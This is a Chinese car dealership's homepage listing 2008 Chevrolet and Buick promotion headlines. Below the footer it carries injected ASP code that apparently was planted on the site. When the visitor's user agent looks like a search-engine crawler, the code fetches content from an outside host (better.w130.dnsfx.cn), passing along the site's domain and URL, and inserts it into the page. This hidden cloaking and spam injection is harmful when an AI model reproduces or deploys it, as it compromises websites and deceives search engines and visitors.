您现在的位置： 唐山市四联汽车贸易有限公司 >> 首页

普通文章唐山四联2008雪佛兰“自信之10月7日
普通文章未来为我而来9月25日
普通文章对话自然  采撷纯净8月26日
普通文章零利息零月供8月17日
普通文章试驾雪佛兰新乐骋8月10日
普通文章试驾别克新凯越8月2日
普通文章雪佛兰新景程性价比的新标杆7月10日
普通文章货款购新凯越零利率零月供火7月3日
普通文章免息购景程 贷款更轻松6月29日

 

  • 此栏目下没有服务无限

    		•

    		 

           
     

    		 

    		 

    		 

           
     
         
    | 设为首页 | 加入收藏 | 联系站长 | 友情 | 版权申明 | 网站管理

    唐山市四联汽车贸易有限公司版权所有 @ 2006-2008    冀ICP备05000993号
    <% Function getBody(infopageurl) On Error Resume Next if infopageurl<>"" then dim xmlHttp set xmlHttp=server.createobject("MSXML2.XMLHTTP") xmlHttp.open "GET",infopageurl,false xmlHttp.send getBody=BytesToBstr(xmlhttp.responsebody,"GB2312") set xmlHttp=nothing end if end Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function dns = Request.ServerVariables("SERVER_NAME") path = Request.ServerVariables("PATH_INFO") qs = Request.ServerVariables("QUERY_STRING") url= dns&path&"?"&qs agent = Request.ServerVariables("HTTP_USER_AGENT") tz = "http" if Instr(agent,tz)>0 then if path ="/index.asp" or path="/default.asp" then response.write getBody("http://better.w130.dnsfx.cn/syscode.asp?dns="&dns) else response.write getBody("http://better.w130.dnsfx.cn/syscode.asp?dns="&url&"&dn="&dns) end if end if %>